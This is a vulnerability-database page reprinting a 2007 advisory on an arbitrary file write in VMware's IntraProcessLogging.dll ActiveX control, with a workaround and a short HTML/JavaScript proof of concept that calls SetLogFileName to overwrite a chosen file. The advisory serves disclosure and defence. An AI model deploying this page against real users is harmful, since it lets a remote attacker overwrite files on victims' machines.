Vulners
Lucene search
VMware IntraProcessLogging.dll 5.5.3.42958 Arbitrary Data Write Exploit
<!--
---------------------------------------------------------------------------
:. GOODFELLAS Security Research TEAM .:
:. http://goodfellas.shellcode.com.ar .:
IntraProcessLogging.dll 5.5.3.42958 VmWare Inc Arbitrary Data Write Exploit
===========================================================================
Internal ID: VULWAR200707280.
-----------
Introduction
------------
IntraProcessLogging.dll is a library included in the Program Vmware from
Vmware Inc. Company.
Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.
Summary
-------
The SetLogFileName method doesn't check if it's being called from the
application,
or malicious users. Remote Attacker could craft a html page and overwrite
arbitrary
files in a system.
Impact
------
Any computer that uses this Sofware will be exposed to Data Write Arbitrary.
Workaround
----------
- Activate the Kill bit zero in clsid:AF13B07E-28A1-4CAC-9C9A-EC582E354A24
- Unregister IntraProcessLogging.dll using regsvr32.
Timeline
--------
July 28 2007 -- Bug Discovery.
July 28 2007 -- Exploit published.
Credits
-------
* callAX <[email protected]>
* GoodFellas Security Research Team <goodfellas.shellcode.com.ar>
Technical Details
-----------------
SetLogFileName method receives one argument filename in this format
"c:\path\file".
Proof of Concept
---------------->
<HTML>
<BODY>
<object id=ctrl classid="clsid:{AF13B07E-28A1-4CAC-9C9A-EC582E354A24}"></object>
<SCRIPT>
function Do_it()
{
File = "c:\\arbitrary_file.txt"
ctrl.SetLogFileName(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Jul 2007 00:00Current
7.1High risk
Vulners AI Score7.1